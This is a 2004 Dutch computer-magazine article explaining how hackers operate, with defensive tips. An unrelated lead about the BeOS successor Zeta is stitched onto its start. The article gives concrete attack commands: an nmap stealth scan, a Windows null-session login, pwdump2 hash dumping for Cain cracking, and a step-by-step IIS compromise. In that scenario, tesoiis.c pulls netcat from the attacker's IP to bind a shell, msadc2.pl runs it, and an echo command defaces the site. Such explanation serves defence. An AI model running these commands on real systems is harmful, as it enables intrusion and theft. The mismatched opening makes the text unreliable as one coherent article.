To be or not to be
De nieuwe BEOS: Yellowtab ZETA Deluxe edition. Voor wie niet verder kijkt is de personal computer synoniem met Windows. Toch zijn er, naast Linux, meer alternatieven voor Windows. BeOS bijvoorbeeld. Maar dat was toch dood? Dat klopt! Maar, het bedrijf yellowTAB is bezig met een reanimatie. Onlangs verscheen hun Zeta RC 2 (release candidate 2). PCM bekijkt of Zeta een waardig alternatief is voor Windows en Linux.
head:Help een Hacker #subject:Software #author:Toon van Daele #year:2004 #issue:5 #page:66 #date:20040413 #lead:Hackers: hoe gaan ze te werk en hoe wapent u zich er tegen. Zo goed als u uw huis beveiligt - ramen dicht wanneer u weggaat, deur op slot, en misschien zelfs wel een alarm - zo slecht is het vaak gesteld met de beveiliging van een pc of netwerk. En digitale inbrekers - hackers - slaan daar direct munt uit. Wij gaan na hoe en hacker te werk gaat, zodat u weet waar u op moet letten. #text:"Het verhaal dat hackers zich voornamelijk op bedrijfsnetwerken richten is helaas niet waar; ze hebben, ze hebben het net zo goed ook op particuliere pc's (zoals de uwe) gemunt - al was het maar om die als platform voor verdere aanvallen in te zetten. Grote bedrijven beschikken echter over veel meer middelen om aanvallen van buitenaf af te slaan. Maar wanneer u weet hoe een hacker denkt en handelt, kunt u hem ook bij u thuis de weg versperren. ***paypalsocen.tif: Social engineering en spam: een verraderlijke combinatie. Verkennen en aanvallen Een hacker die zijn oog heeft laten vallen op een stevig bedrijfsnetwerk zal echt niet lukraak wat inbraakpogingen ondernemen. Niet alleen omdat de kans klein is dat zijn pogingen ergens toe leiden, maar ook omdat hij moet voorkomen dat hij de argwaan van de systeembeheerder wekt. Bovendien is er op het netwerk misschien wel een intrusion detection systeem (ids) ge'nstalleerd, of wordt hij in de val gelokt door een honeypot (opzettelijk slecht beveiligd systeem om hackers te misleiden). Al met al zal hij zich dus grondig voorbereiden. Deze fase noemen we ook wel footprinting: een verkenningsronde waarbij de hacker via allerlei tools en technieken inzicht probeert te krijgen in de samenstelling van het netwerk dat hij wil gaan kraken. Voordat een hacker zijn hele arsenaal aan tools inzet zal hij eerst wat voorwerk verrichten - reconnaissance of passive mapping genoemd. Daarvoor kan hij natuurlijk het gebouw binnenwandelen waarin het te hacken systeem zich bevindt, maar een minder risicovolle methode is social engineering, waarbij je informatie probeert te verzamelen door systeembeheerders en gebruikers belangrijke gegevens als wachtwoorden te ontfutselen. Ook een blik in het telefoonboek kan hem een lijst met mogelijke telefoonnummers opleveren en met wat geluk is één van die nummers verbonden met een modem van het bedrijf. Het zou ook kunnen dat de hacker gebruikt maakt van zogenoemde war dialing tools als het gratis THC Scan of PhoneSweep - hiermee wordt het hele proces van inbellen en controleren op modemrespons geautomatiseerd. Maar heeft war dialing ingeboet aan populariteit - modems worden zeldzamer en zijn vaak beveiligd met authenticatie-technieken en call back-functies - daarentegen is war driving springlevend. Hierbij rijden hackers in bedrijfszones rond, gewapend met een notebook, draadloze adapter en de nodige software (zoals NetStumbler). Wlan's die niet goed zijn afgeschermd vormen daarbij een dankbare prooi. Hebt u zelf zo'n wlan, dan moet u minstens wep - of beter nog: wpa - en eventueel mac-filtering inschakelen, en de ssid broadcast uitschakelen. Nog veiliger natuurlijk is een geauthenticeerde toegang, zoals ipsec vpn over wireless. ***combatuxn.tif & whoispcm.tif & nslookup.tif: Whois en dns-queries kunnen bruikbare informatie opleveren. ***synack.tif: TCP protocol: Eerst handje schudden! Whois en dns Minder spectaculair, maar vaak doeltreffend zijn de verkenningsrondes die een hacker via internet uitvoert. Hij begint uiteraard met het uitpluizen van de bewuste bedrijfssite (immers, misschien vindt hij hier wel waardevolle informatie in verborgen velden van online formulieren) en het opsporen van gegevens over het bedrijf via zoekrobots als Google (vergeet ook de nieuwsgroep-postings niet). Behalve de bedrijfssite kan ook een domain query interessante informatie opleveren. Zo'n query, die typisch wordt uitgevoerd met een tool als Whois, vertelt namelijk niet alleen wie de domeinnaam heeft geregistreerd, maar toont vaak ook de gegevens van de administratieve en technische contacten, evenals de dns-servers voor dat domein. Dns is een gedistribueerde databank die hostnamen linkt aan ip-adressen, en omgekeerd. Een whois-commando zit doorgaans in Linux/Unix ingebouwd, maar Windows-gebruikers kunnen daarvoor ook op internet terecht. Voor Europese queries kan de hacker de Whois-databank van Ripe raadplegen (www.ripe.net/db/whois/whois.html), terwijl hij voor meer generieke domeinnamen (com, org, net) terecht kan bij www.internic.net/whois.html. Bruikbare adressen zijn verder http://combat.uxn.com, de Whois-proxy www.geektools.com en niet te vergeten www.samspade.org. In principe is bij deze laatste twee ook een dns-query mogelijk via NSLookup, maar deze services blijken de laatste tijd niet langer functioneel. Een alternatief vormen de specifieke tools voor dns-queries (waaronder Dig en Nslookup) die u zowel in een Unix- als Windows-omgeving kunt inzetten. Op zich levert zo'n query weinig verheffende informatie op, maar bedrijven draaien ook wel hun eigen dns-servers en configureren die vaak verkeerd. Daardoor gebeurt het soms dat een zogenaamde zone transfer niet alleen publieke maar ook private dns-gegevens van het bedrijf kan onthullen. Zo krijgt de kraker waardevolle informatie over locaties van systemen, ip-adressen en zelfs besturingssystemen. Het minste wat zo'n bedrijf zou moeten doen is externe dns-servers alleen informatie laten bezorgen over systemen die rechtstreeks met internet zijn verbonden en eventueel alle tcp-verkeer naar poort 53 op de firewall blokkeren, wat zone transfers uitsluit. ***ping.tif & pathping.tif: Icmp-tools Ping, Traceroute en Pathping: bruikbaar, maar beperkt. ***superscan.tif & superscanports.tif: Multifunctionele scanner met gui. ***nmapsso.tif: Nmap: Professionele poortscanner. network mapping Wanneer de eerste verkenningsronde is afgerond, heeft een hacker al flink wat gegevens verzameld (namen adressen, telefoonnummers), maar hij weet nog altijd niet hoe bereikbaar de systemen zijn en welke services ze eventueel draaien. Om dit te weten te komen kan hij een aantal bekende tools inzetten die zogenoemde icmp-pakketjes naar het doelsysteem sturen. Icmp staat voor Internet Control Messaging Protocol, en is ontworpen om communicatiefouten tussen hosts te rapporteren. Een bekende tool is ping (Packet InterNet Groper), waarmee je icmp echo-verzoeken naar de ontvanger kunt sturen om na te gaan of de host actief is. Is de reactie inderdaad een echo-reply, dan weet je meteen dat het systeem in de lucht is. Krijg je time-outs dan kan de host down zijn, of is die mogelijk beschermd door een firewall. Dit laatste is te controleren met een netwerksniffer als Ethereal (www.ethereal.org) die de icmp-pakketjes analyseert. Een (aanvullende) variant hierop is het commando Traceroute (op Windows-systemen: tracert). Ook deze verstuurt icmp-pakketjes, maar zorgt daarbij dat de ttl-waarde (time to live) stelselmatig met 1 wordt verhoogd. Op die manier bereikt de hacker in een eerste fase normaal de eerste tussenliggende router (die de ttl met 1 vermindert), in een tweede fase de tweede, en zo verder totdat de tool de complete route tot aan de host heeft blootgelegd. Een combinatie van beide tools vormt Pathping (alleen op Windows XP en 2000): dat het eventuele pakketverlies voor elke routerhop berekent. Hoe beperkt de tools zijn wordt duidelijk wanneer je een volledig netwerkbereik zou wil aftasten. In dat geval ben je beter af met een zogenaamde scanner: die doorzoekt in één keer een ip-adressenbereik op actieve systemen en services. Een gebruiksvriendelijke en populaire scanner voor Windows is het gratis SuperScan (www.foundstone.com/resources/scanning.htm). Daarmee kan een hacker overigens heel wat meer dan ping-scans versturen. SuperScan is namelijk ook een krachtige poortscanner. De tool probeert met de verschillende (tcp- en udp-)poorten een verbinding te leggen, gaat na welke poorten open staan en probeert meteen ook eventuele meldingen af te vangen van services die op die poorten luisteren (banner grabbing). Nog bekender (vooral ook in Unix/Linux-omgevingen) is Nmap dat zich vanuit de opdrachtregel laat bedienen. De opdracht nmap -n -sS -O -P0 212.190.88.64-95 kan bijvoorbeeld als volgt worden ontrafeld: - n: voer géén dns-resolutie uit (omzettingen naar een domeinnaam werken vertragend); - sS: doe (alleen) een tcp syn stealth poortscan (maakt geen volledige verbinding met de doelsystemen, zodat de kans op detectie van deze scan kleiner is); - O: doe een tcp/ip-fingerprinting om het remote besturingssysteem te weten te komen (besturingssystemen reageren namelijk vaak anders als ze 'onorthodoxe' pakketjes ontvangen) - de Linux-tool Queso is ook heel sterk in OS-detectie; - P0: voer geen pings uit (sommige hosts schermen zich daar namelijk tegen af); - 212.190.88.64-95 (het te scannen bereik van de hosts). Meer weten over tcp en ip? Lees het kader 'Tcp/ip in een notedop' op pagina XX. ***nessusreport.tif & nessusreportgr.tif: Een (héél klein) brokje uit het Nessus-verslag. Zwakke plekken Sommige scanners gaan nog een stap verder en sporen niet alleen open poorten en actieve services op, maar koppelen er meteen ook een databank met mogelijke exploits aan vast. Een exploit is niets anders dan een techniek om een bepaald veiligheidslek uit te buiten. Zo'n 'vulnerability scanner' toont dus de zwakke plekken van de doelhost, wat de hacker meteen een flinke stap in de 'goede' richting geeft. De recente versies van de betere scanners spuwen na een - vaak langdurige - analyse gretig gedetailleerde rapporten uit (inclusief de nodige links), zodat een hacker meteen aan de slag kan. De bekendste scanners uit de freewarestal zijn Sara (Security Auditor's Research Assistant - www-arc.com/sara) voor Unix-omgevingen, en Nessus (www.nessus.org) dat intussen ook in een Windows-versie is opgedoken. De hacker die de moeite neemt om zich nasl (de ingebouwde scriptingtaal van Nessus) eigen te maken, kan zelfs eigen tests schrijven om snel bepaalde kwetsbaarheden op een doelhost aan te vallen. U begrijpt dat dergelijke tools in handen van onervaren en weinig scrupuleuze hackers (of crackers) gevaarlijk kunnen zijn, zeker als u weet dat Nessus bijvoorbeeld ook DoS-tools heeft ingebouwd. Een systeembeheerder moet zich tegen al dit scannergeweld natuurlijk goed indekken. OS-hardening is alvast de eerste stap. Hierbij worden alle overbodige tools en services verwijderd die het een hacker makkelijker kunnen maken. Het spreekt vanzelf dat de systeembeheerder zijn systeem nauwgezet patcht en regelmatig de systeemlogs nakijkt op mogelijke ongeregeldheden. De implementatie - en vooral ook een correcte configuratie - van een goede firewall is een absolute noodzaak. Verder moet hij zoveel mogelijk het in- en uitgaande icmp-verkeer beperken, zodat de hacker moeilijker kan ontdekken welke hosts live zijn. ***pwdump2cain.tif: Windows XP login-wachtwoord gekraakt in twee minuten. ***subseven.tif: SubSeven: gouwe ouwe onder de Trojanen en backdoors. Exploits Heeft een Hacker eenmaal genoeg kennis over het systeem verzameld, dan kan hij overgaan tot de eigenlijke aanval: exploiting. Het wordt natuurlijk helemaal een feest wanneer hij een voet tussen de deur kan houden - dus als hij het systeem zo weet te configureren dat hij op elk gewenst moment opnieuw toegang tot het systeem kan krijgen. Vanzelfsprekend kan dat alleen als hij zijn sporen (in de logs) grondig wist en de systeembeheerder zo in de waan laat dat zíjn systeem niet te hacken is. Er zijn drie typen exploits mogelijk, afhankelijk van de aard van de bedreiging: de null session attack, het aantasten van de gegevensintegriteit en de Ddos-aanval. Null session attack Een null session attack is vooral gevaarlijk voor niet-gepatchte Windows NT-systemen. In zo'n geval kan een hacker op afstand op een server inloggen zonder dat hij daarvoor een gebruikersnaam of wachtwoord nodig heeft. Op die manier krijgt hij toegang tot gedeelde bronnen en kan hij bijvoorbeeld ook netbios-informatie over het apparaat opvragen. Zo'n aanval zit overigens eenvoudig in elkaar: de hacker legt eerst een anonieme remote verbinding via de opdracht net use \\hostip\ipc$ “” /u: “”, waarna hij via het enum-commando allerlei nuttige informatie over het systeem kan opvragen. gegevensintegriteit Ten tweede zijn er exploits die het op de integriteit van de gegevens gemunt hebben: hackers krijgen dan niet alleen leestoegang, ze kunnen informatie ook wissen of aanpassen. Typische exploits hier zijn ip spoofing - waarbij de hacker zijn eigen ip-adres wijzigt in het adres van een computer die met de doelhost een vertrouwensrelatie heeft, en het kraken van wachtwoorden zodat de hacker als een reguliere gebruiker (of als root) kan inloggen. Daar bestaan heel wat gratis tools voor. Met het duo Pwdump2 en Cain kun je bijvoorbeeld wachtwoordhashes van Windows NT (en XP) kraken. Eerst maak je daarvan een tekstdump via een opdracht als pwdump2 > dump.txt, waarna Cain de ge'mporteerde hashes probeert te kraken via brute force en/of dictionary attacks. Bij een aanval van het tweede type gaat een kraker eerst na of het wachtwoord zich toevallig niet in een woordenlijst bevindt (genre: www.elcomsoft.com/prs.html#dict); zoniet, dan probeert de tool stelselmatig alle mogelijke tekencombinaties uit. Dit verloopt weliswaar met een snelheid van ettelijke miljoenen combinaties per seconde, maar aan een hoofdlettergevoelig wachtwoord (inclusief cijfers) van acht tekens zit de kraker wel met ongeveer 220 biljoen ((26+26+10)8) mogelijke combinaties. Niettemin wist Cain ons XP-wachtwoord van zes letters binnen twee minuten te kraken. Andere exploits maken dankbaar gebruik van zogenaamde buffer overflows. Een buffer is een tijdelijke en beperkte geheugenopslagruimte voor een bepaald programma(onderdeel). Wanneer zo'n programma méér gegevens ontvangt, dan in die bufferruimte is voorzien, treedt er een overflow op. De extra gegevens komen dan in een niet afgeschermde geheugenruimte terecht en als die data een opdracht bevatten, kan die worden uitgevoerd. Een bekend voorbeeld van dit type is de Unicode exploit, die er via zo'n buffer overflow in iis (Internet Information Server) voor zorgt dat de hacker uit de webroot raakt en ook toegang krijgt tot andere systeemmappen, van waaruit hij dan allerlei opdrachten (zoals cmd.exe) kan uitvoeren. Denial of service Een derde exploittype ten slotte brengt de beschikbaarheid van gegevens in gevaar, en (D)dos-aanvallen (distributed denial of service) passen uiteraard perfect in dit plaatje. Dergelijke aanvallen worden vaak vanaf nietsvermoedende internet-pc's - zoals die van u? - gelanceerd, met de bedoeling een bepaalde server met zoveel verzoeken te bestoken, dat die niet meer normaal kan functioneren. Zo'n ddos-aanval vereist een grondige voorbereiding, gewoonlijk door eerst heimelijk een Trojaans paard op duizenden pc's te installeren. Deze indringer tovert al die pc's dan om in zogenaamde zombies: toestellen die allemaal tegelijk tot actie overgaan op het commando van hun meester. Een besmette bijlage bij een e-mailbericht (denk aan het beruchte Melissa-virus) is vaak de drager van zo'n trojan. Wilt u zich hiertegen beschermen, dan kunt u niet buiten een goed én up-to-date anti-viruspakket! ***tesoiisc.tif (x) & msadc2pl.tif (y) & wwwrootcrack.tif (z): Niet storen a.u.b. Exploit in werking! Rampenscenario In sneltempo verloopt een (gecombineerde) exploit als volgt: 1. Om zijn anonimiteit te waarborgen start een hacker eerst een beveiligde telnetsessie op (via ssh) naar een derde toestel, waarop hij al root access verkregen heeft. 2. Met behulp van nmap -O merkt hij dat onder meer poort 80 open staat op de doelhost. 3. Vervolgens maakt hij gebruik van (een licht aangepaste versie van) de exploit tesoiis.c, die een buffer overflow veroorzaakt in iis (meer bepaald in inetinfo.exe, de service die http-verzoeken afhandelt). Met deze exploit stuurt hij een trojan mee, en in dit geval is dat de bekende Netcat (meer bepaald ncx99.exe, dat ervoor zal zorgen dat de command prompt aan poort 99 wordt gebonden). Het volgende commando zorgt daarvoor: tesoiis www.doelhost.com 80 ip-adres/ncx99.exe. (figuur x) 4. Nu is het de beurt aan een andere exploit (msadc2.pl), zodat hij op elk geschikt moment de ingeplante trojan kan uitvoeren. Deze exploit misbruikt namelijk de odbc data-toegang voor iis-servers, zodat hij ook andere commando's dan de gebruikelijke sql-queries kan uitvoeren. Dat doet hij met de opdracht: perl msadc2.pl -h ip-adres. 5. Nu hoeft hij alleen de opdracht cmd /c ncx99.exe uit te voeren, en de trojan is operationeel (zie figuur y). Het volstaat nu een telnet-sessie te initialiseren via poort 99 (telnet ip-adres 99) en het apparaat is in zijn handen. 6. Is de hacker al tevreden met een verminking (defacement) van de website, dan volstaat een opdracht als echo Cracked by xyz > index.html, vanuit de map \inetpub\wwwroot (zie figuur z). Met wat geluk - althans voor de hacker - draait inetinfo.exe echter al onder het administrator-profiel, zodat hij meteen over beheerdersrechten beschikt. In dit geval is hij echt heer en meester. Conclusie Vrijwel alle tools die we hebben vermeld, kunt u via een zoekrobot als Google probleemloos lokaliseren op internet en niemand houdt u tegen om ze ook te downloaden. Denk echter niet dat u, gewapend met deze tools, zomaar in netwerken kunt binnendringen. Buiten het feit dat dit illegaal is, is het nog niet zo eenvoudig om bijvoorbeeld de beveiliging van firewalls te omzeilen. Bovendien maken systeembeheerders die alle beveiligingstips uit dit artikel ter harte nemen, het de hacker nóg een stuk lastiger. *** Kader Disclaimer Hacken is illegaal! Wilt u zelf aan de slag met de tools en technieken uit dit artikel, dan neemt u daarvoor de volledige verantwoordelijkheid op u. We raden u hoe dan ook aan uw experimenten tot uw eigen pc of netwerkje te beperken. *** Kader Hackers, crackers en script kiddies Het stereotype van dé hacker bestaat niet, want ook in deze subcultuur hebben zich intussen verschillende groepen afgetekend. De echte hacker (white hat) voelt zich geen crimineel. Hij beroept zich namelijk op een ethische code die hem verbiedt enige schade aan de computersystemen van anderen aan te richten. Hij pleit er tevens voor nuttige kennis openbaar te maken, zodat ook computerbeheerders er hun lessen uit kunnen trekken en de beveiliging opschroeven. De black hat of cracker daarentegen heeft weinig boodschap aan dit 'ethisch hacken': zij dringen andermans systeem binnen, alleen voor het plezier van het beschadigen of zelfs in de hoop er munt uit te kunnen slaan. Grey hats voelen zich nauw verwant aan de ethische hackers, maar jammer genoeg springen ze al te vaak nonchalant om met delicate informatie, zodat die niet zelden door black hats misbruikt wordt. Aan de zijkant van het hele verhaal ten slotte bevinden zich nog de script kiddies: would-be hackers die het niet van eigen kennis moeten hebben, maar dankbaar gebruik maken van scripts en exploits die (echte) hackers op eigen kracht hebben samengesteld. Ze staan allesbehalve hoog aangeschreven in de hackersscene, maar zijn jammer genoeg wel talrijk. Wie zich alvast weinig gelegen laat aan deze subgroepen, is de overheid! Zo goed als elke vorm van hacken is namelijk verboden, en daar bestaat intussen zowel nationaal als Europees een sluitende juridische basis voor. Kortom, hacken is strafbaar, en de kleur van uw hoedje houdt u echt niet buiten de tralies. *** Kader Tcp/ip in een notedop U kunt zich voorstellen dat er heel wat afspraken nodig zijn om computers via een netwerk als internet met elkaar te laten communiceren. Ze moeten als het ware elkaars taal begrijpen. Zo'n taal noemt men een protocol, maar juist omdat er zoveel manieren van communiceren zijn, zijn er verschillende protocollen nodig (e-mail: smtp en pop3, bestandstransfer: ftp, surfen: http, etc.). De belangrijkste echter zijn tcp (transmission control protocol) en ip (internet protocol), zo belangrijk zelfs dat men dit duo als het basisprotocol van internet beschouwt. Een ander protocol bijvoorbeeld is udp (user datagram protocol). Het grote verschil met tcp is dat er bij udp nauwelijks een controle is ingebouwd op de goede ontvangst van de datapakketjes; bij videobeelden bijvoorbeeld is het niet zo erg als er onderweg een bitje verloren gaat. Tcp tracht wat betrouwbaarder te zijn en zal daarom al bij het begin een bevestiging van de connectie tussen beide hosts proberen te krijgen. Dat gebeurt aan de hand van een driedelige 'handshake', waarbij client en server een vast patroon van bitjes naar elkaar sturen - meer bepaald syn-bits (synchronisatiestatus) en ack-bits (acknowledgement). Maar ook tijdens de datastroom die daarop volgt, houden zender en ontvanger elkaar nauwlettend in de gaten om dataverlies te voorkomen. Daartoe maken beide hosts in elk pakketje slim gebruik van volg- en bevestigingsnummers die aangeven hoeveel en welke bytes uit de datastroom er al verstuurd en ontvangen zijn. Elk datapakketje bevat bovendien een poortnummer, zodat de doelhost weet voor welke service het pakketje is bestemd. Een host kan namelijk verschillende services tegelijk draaien (webserver, ftp-server, mailserver) en het poortnummer duidt de bewuste service aan. Deze poortnummers zijn voor bekende services overigens gestandaardiseerd: zo zal een webserver zijn oor normaal gesproken op poort 80 te luisteren leggen, en verloopt een https/ssl-verbinding gewoonlijk via poort 443. Voor wie het wil weten: een computer bevat maar liefst 65535 van dergelijke logische poorten. Op www.iss.net/security_center/advice/Exploits/Ports kunt een overzicht van de belangrijkste poorten opvragen, inclusief exploits. ***Kader Op Het Web 12 praktische tips voor het beveiligen van draadloze netwerken. "